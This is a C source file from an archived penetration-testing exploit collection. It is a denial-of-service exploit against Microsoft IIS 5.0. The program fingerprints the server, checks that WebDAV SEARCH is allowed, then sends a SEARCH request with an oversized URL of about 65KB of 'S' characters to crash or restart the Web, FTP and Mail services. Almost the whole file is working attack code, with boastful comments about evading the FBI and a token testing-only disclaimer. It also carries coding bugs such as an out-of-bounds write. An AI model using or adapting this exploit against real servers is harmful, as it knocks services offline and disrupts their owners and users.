home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / webserver / iis / ne0.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  5KB  |  293 lines

  1. /*
  2.     
  3. Micro$oft IIS DoSser (restarts Web/FTP/Mail service .Terminates  all active Web/FTP/Mail connections....ph33r ;-) )
  4.  
  5.  >> by Shashank Pandey a.k.a      +(Neo1)+
  6.   
  7.   >>    http://geekgroove.8m.com
  8.  
  9.   Issue : http://packetstorm.linuxsecurity.com/0305-exploits/iisDoS.txt  
  10.     
  11.  
  12.  
  13.  coded in seconds .... crappy programming but worx !
  14.  
  15.  shoutz to all da babes in delhi    :-)
  16.  
  17.  
  18.  >> Only for tezting purposes !!! i disclaim everything ....
  19.  
  20.  
  21. part of M4TR1X series of codes from me...     ph33r again...;-)
  22.  
  23.  
  24. */
  25.  
  26.  
  27. #include <windows.h>
  28. #include <winsock.h>
  29. #include <stdio.h>
  30.  
  31. #pragma comment (lib,"ws2_32")
  32.  
  33.  
  34.  
  35. void graphitte()
  36.  
  37.  
  38. {printf("\n********************************** ");
  39.  printf("\n Webdav MICRO$OFT IIS DoSser     * \n");
  40.  printf("+++++++++++++++++++++++++++++++++*\n");
  41.  printf(" by Shashank Pandey              *\n");
  42.  printf(" (reach_shash@linuxmail.org)     *\n");
  43.  printf("********************************** \n");
  44.  
  45.  
  46.  
  47. }
  48.  
  49.  
  50.  
  51.  
  52.  
  53.  
  54.  
  55. char *funk(char tobesent[100],char *host)
  56. {
  57.   int s;  char got[100]; 
  58.  
  59.   WSADATA wsaData;
  60.       
  61. struct hostent *yo;
  62. struct sockaddr_in heck;
  63.     
  64.      char lala[100];
  65.     
  66.  
  67. if(WSAStartup(0x0101,&wsaData)!=0) {
  68.       printf("error starting winsock..");
  69.       return 0;
  70.       }
  71.  
  72.  
  73.  
  74.  
  75.   if ((yo = gethostbyname(host))==0){
  76.     printf("error: can't resolve '%s'",host);
  77.     return 0;
  78.   }
  79.  
  80.  
  81.  
  82.  
  83.    
  84.   heck.sin_port = htons(80);
  85.   heck.sin_family = AF_INET;
  86.   heck.sin_addr = *((struct in_addr *)yo->h_addr);
  87.  
  88.   if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  89.     printf("Error: Unable to create socket");
  90.     
  91.   }
  92.  
  93.   
  94.   if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
  95.     printf("Error: Cudn't Connect\r\n");
  96.     
  97.   }
  98.  
  99.   
  100. memset(lala,0,sizeof(lala));
  101.  
  102. sprintf(lala,"%s",tobesent,sizeof(tobesent));
  103.      
  104.       send(s,lala,strlen(lala),0);
  105.    recv(s,got,100,0);
  106.  
  107.  
  108.   
  109.     
  110.   
  111.   return got;
  112.     closesocket(s);
  113.     WSACleanup();
  114.     printf("done.\n");
  115.  
  116. }
  117.  
  118.  
  119.  
  120.  
  121.  
  122.  
  123.  
  124. int main(int argc, char *argv[])
  125. {
  126.      
  127.  
  128.   WSADATA wsaData;
  129.       
  130.       
  131.       
  132.       
  133.       int s;char mysend[100];
  134.       char *gotme;
  135.       char trash[100];
  136.       
  137.  
  138. struct hostent *yo;
  139.            struct sockaddr_in heck;
  140.       char buffer[65535] ="";
  141.       char myrequest[80000];    
  142.       char content[] =
  143.            "<?xml version=\"1.0\"?>\r\n"
  144.            "<g:searchrequest xmlns:g=\"DAV:\">\r\n"
  145.            "<g:sql>\r\n"
  146.            "Select \"DAV:displayname\" from scope()\r\n"
  147.            "</g:sql>\r\n"
  148.            "</g:searchrequest>\r\n";
  149.  
  150.   
  151.       
  152.       graphitte();
  153.        
  154.      
  155.  
  156.     
  157.  
  158. if(WSAStartup(0x0101,&wsaData)!=0) {
  159.       printf("Error :Cudn't initiate winsock!");
  160.       return 0;
  161.       }
  162.  
  163.  
  164. if(argc<2)
  165.  
  166. {printf("\nUsage : %s <I.P./Hostname>\n\n",argv[0]);
  167.   exit(0);}
  168.  
  169.  
  170.  
  171.  
  172.   if ( (yo = gethostbyname(argv[1]))==0)
  173.   {
  174.     printf("error: can't resolve '%s'",argv[1]);
  175.     return 1;
  176.   }
  177.  
  178.  
  179.  
  180. printf("\nChecking web server %s\n",argv[1]);
  181. gotme=(char *)funk("GET / HTTP/1.0\r\n\n",argv[1]);
  182.  
  183.  
  184. if (strstr(gotme,"IIS/5.0") == NULL)
  185.           
  186. {     printf("\n\r----> %s is not running IIS 5.0! adios !\n",argv[1]);  } 
  187.  
  188.       
  189.  
  190. else
  191.  
  192. {
  193.     
  194.     
  195. printf("\n\r----> Aww rite! IIS 5.0 found on %s  !\n",argv[1]);
  196.  
  197.  
  198.  
  199.  
  200.  
  201.  
  202.  
  203.     
  204. sprintf(mysend,"SEARCH / HTTP/1.0\r\n\n",40);
  205.  
  206. gotme=(char *)funk(mysend,argv[1]);
  207.  
  208. if (strstr(gotme,"HTTP/1.1 411 Length Required") != NULL)
  209.           
  210. {     printf("\n\r----> METHOD SEARCH ALLOWED\r\n"); } 
  211.  
  212.  
  213.  
  214. else
  215.  
  216. {
  217.     
  218. printf("\n----> Method SEARCH not Allowed ! adios...\n");
  219. exit(0);
  220.  
  221. }    
  222.  
  223.  
  224.  
  225.  
  226.  
  227.    
  228.   heck.sin_port = htons(80);
  229.   heck.sin_family = AF_INET;
  230.   heck.sin_addr = *((struct in_addr *)yo->h_addr);
  231.  
  232.   if ((s = socket(AF_INET, SOCK_STREAM, 0)) == -1){
  233.     printf("error: can't create socket");
  234.     return 1;
  235.   }
  236.  
  237.   
  238.   if ((connect(s, (struct sockaddr *) &heck, sizeof(heck))) == -1){
  239.     printf("Error:Cudn't Connect\r\n");
  240.     return 1;
  241.   }
  242.  
  243.   
  244.   
  245. buffer[sizeof(buffer)]=0x00;
  246.  
  247.   memset(buffer,'S',sizeof(buffer));
  248.   memset(myrequest,0,sizeof(myrequest));
  249.       memset(trash,0,sizeof(trash));
  250.       sprintf(myrequest,"SEARCH /%s HTTP/1.1\r\nHost: %s\r\nContent-type: text/xml\r\nContent-Length: ",buffer,argv[1]);
  251.       sprintf(myrequest,"%s%d\r\n\r\n",myrequest,strlen(content));
  252.       printf("\r\nDoSsing the server...<pray>\n");
  253.       send(s,myrequest,strlen(myrequest),0);
  254.       
  255.       
  256.  
  257.  
  258.  
  259.       send(s,content,strlen(content),0);
  260.       
  261.       
  262.       
  263.       
  264.       recv(s,trash,sizeof(trash),0);
  265.       if(trash[0]==0x00) 
  266.       {
  267.       printf("Server is DoSsed! Now run !! F-B-eyee is after j00...\r\n");
  268.       
  269.       } 
  270.       
  271.       else
  272.       
  273.           
  274.       printf("Server is prolly patched.\r\n");
  275.       
  276.       closesocket(s);
  277.   
  278.  
  279. }
  280.     
  281.     
  282.     
  283.     
  284.     WSACleanup();
  285.     
  286.     
  287.     
  288.     
  289.     
  290. return 1;
  291. }
  292.  
  293.